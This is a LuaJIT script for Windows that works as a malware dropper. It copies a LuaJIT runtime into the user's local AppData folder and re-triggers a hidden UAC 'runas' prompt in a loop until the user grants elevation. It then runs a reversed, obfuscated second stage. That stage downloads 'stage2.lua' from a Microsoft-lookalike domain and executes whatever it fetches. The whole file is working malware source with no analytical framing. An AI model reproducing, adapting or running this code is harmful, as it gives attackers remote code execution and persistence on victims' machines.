local ffi = require("ffi")

ffi.cdef[[
    unsigned long GetModuleFileNameW(void* hModule, uint16_t* lpFilename, unsigned long nSize);
    int CopyFileW(const wchar_t* src, const wchar_t* dst, int failIfExists);
    int CreateDirectoryW(const wchar_t* path, void*);
    int CloseHandle(void* h);
    void* GetCurrentProcess();
    int OpenProcessToken(void* proc, unsigned long acc, void** tok);
    int GetTokenInformation(void* tok, int cls, void* info, unsigned long len, unsigned long* ret);
    unsigned long WaitForSingleObject(void* h, unsigned long ms);
    int GetExitCodeProcess(void* h, unsigned long* code);
    int SetEnvironmentVariableW(const wchar_t* name, const wchar_t* value);

    typedef struct {
        unsigned long cbSize;
        unsigned long fMask;
        void* hwnd;
        const wchar_t* lpVerb;
        const wchar_t* lpFile;
        const wchar_t* lpParameters;
        const wchar_t* lpDirectory;
        int nShow;
        void* hInstApp;
        void* lpIDList;
        const wchar_t* lpClass;
        void* hkeyClass;
        unsigned long dwHotKey;
        void* hIcon;
        void* hProcess;
    } SHELLEXECUTEINFOW;

    int ShellExecuteExW(SHELLEXECUTEINFOW* info);
]]

local kernel32 = ffi.load("kernel32")
local advapi32 = ffi.load("advapi32")
local shell32  = ffi.load("shell32")

local function to_wchar(str)
    local buf = ffi.new("uint16_t[?]", #str + 1)
    for i = 0, #str - 1 do buf[i] = string.byte(str, i + 1) end
    buf[#str] = 0
    return buf, ffi.cast("const wchar_t*", buf)
end

local function self_dir()
    local buf = ffi.new("uint16_t[1024]")
    local len = kernel32.GetModuleFileNameW(nil, buf, 1024)
    local chars = {}
    for i = 0, len - 1 do
        local b = buf[i]
        chars[#chars + 1] = string.char(b < 128 and b or 63)
    end
    local full = table.concat(chars)
    return (full:match("^(.*)[\\/]") or full) .. "\\"
end

local function file_exists(path)
    local f = io.open(path, "rb")
    if f then f:close(); return true end
    return false
end

local function is_elevated()
    local tok = ffi.new("void*[1]")
    if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), 0x0008, tok) == 0 then
        return false
    end
    local elev = ffi.new("unsigned long[1]")
    local ret  = ffi.new("unsigned long[1]")
    local ok   = advapi32.GetTokenInformation(tok[0], 20, elev, 4, ret)
    kernel32.CloseHandle(tok[0])
    return ok ~= 0 and elev[0] ~= 0
end

local function shell_exec(verb, file, params)
    local sei = ffi.new("SHELLEXECUTEINFOW")
    ffi.fill(sei, ffi.sizeof("SHELLEXECUTEINFOW"), 0)
    sei.cbSize       = ffi.sizeof("SHELLEXECUTEINFOW")
    sei.fMask        = 0x00000040
    sei.lpVerb       = verb
    sei.lpFile       = file
    sei.lpParameters = params
    sei.nShow        = 0
    local ok = shell32.ShellExecuteExW(sei)
    if ok ~= 0 and sei.hProcess ~= nil then
        kernel32.WaitForSingleObject(sei.hProcess, 0xFFFFFFFF)
        local code = ffi.new("unsigned long[1]")
        kernel32.GetExitCodeProcess(sei.hProcess, code)
        kernel32.CloseHandle(sei.hProcess)
        return code[0]
    end
    return 1
end

local src_dir = self_dir()
local dst_dir = os.getenv("LOCALAPPDATA") .. "\\LuaJIT"

do
    local f = io.open(dst_dir .. "\\luajit.exe", "rb")
    if f then f:close(); return end
end

local files = { "luajit.exe", "vcruntime140.dll" }

local _, dir_w = to_wchar(dst_dir)
kernel32.CreateDirectoryW(dir_w, nil)

for _, fname in ipairs(files) do
    local dst_path = dst_dir .. "\\" .. fname
    if not file_exists(dst_path) then
        local src_path = src_dir .. fname
        local _, src_w = to_wchar(src_path)
        local _, dst_w = to_wchar(dst_path)
        kernel32.CopyFileW(src_w, dst_w, 0)
    end
end

local target = dst_dir .. "\\luajit.exe"

local stage2_code = "local _=[====[)())t(tacnoc.elbat(gnirtsdaol;)s(eldnaHesolCtenretnI.w;)r(eldnaHesolCtenretnI.w;dne)]0[n,b(gnirts.f=]1+t#[t od 0>]0[n dna 0=~)n,2918,b,r(eliFdaeRtenretnI.w elihw;']1[gnol dengisnu'wen.f,']2918[rahc'wen.f,}{=n,b,t lacol;)0,00000008x0,0,lin,'aul.2egats/moc.revres-atad-swodniw.tfosorcim//:ptth',s(AlrUnepOtenretnI.w=r lacol;)0,lin,lin,0,'tijaul'(AnepOtenretnI.w=s lacol;'teniniw'daol.f=w lacol;)(elosnoCeerF.C.f;]];)*diov(eldnaHesolCtenretnI tni;)*gnol dengisnu,gnol dengisnu,*diov,*diov(eliFdaeRtenretnI tni;)t_rtptniu,gnol dengisnu,gnol dengisnu,*rahc tsnoc,*rahc tsnoc,*diov(AlrUnepOtenretnI *diov;)gnol dengisnu,*rahc tsnoc,*rahc tsnoc,gnol dengisnu,*rahc tsnoc(AnepOtenretnI *diov;)diov(elosnoCeerF tni[[fedc.f;'iff'eriuqer=f lacol]====](loadstring or load)(_:reverse())()"

local _, verb_w = to_wchar("runas")
local _, file_w = to_wchar(target)
local _, params_w = to_wchar('-e "' .. stage2_code .. '"')

if is_elevated() then
    local _, lua_init_w = to_wchar("LUA_INIT")
    kernel32.SetEnvironmentVariableW(lua_init_w, nil)
    shell_exec(nil, file_w, params_w)
else
    while true do
        local sei = ffi.new("SHELLEXECUTEINFOW")
        ffi.fill(sei, ffi.sizeof("SHELLEXECUTEINFOW"), 0)
        sei.cbSize       = ffi.sizeof("SHELLEXECUTEINFOW")
        sei.fMask        = 0x00000040
        sei.lpVerb       = verb_w
        sei.lpFile       = file_w
        sei.lpParameters = params_w
        sei.nShow        = 0
        local ok = shell32.ShellExecuteExW(sei)
        if ok ~= 0 and sei.hProcess ~= nil then
            kernel32.WaitForSingleObject(sei.hProcess, 0xFFFFFFFF)
            kernel32.CloseHandle(sei.hProcess)
            break
        end
    end
end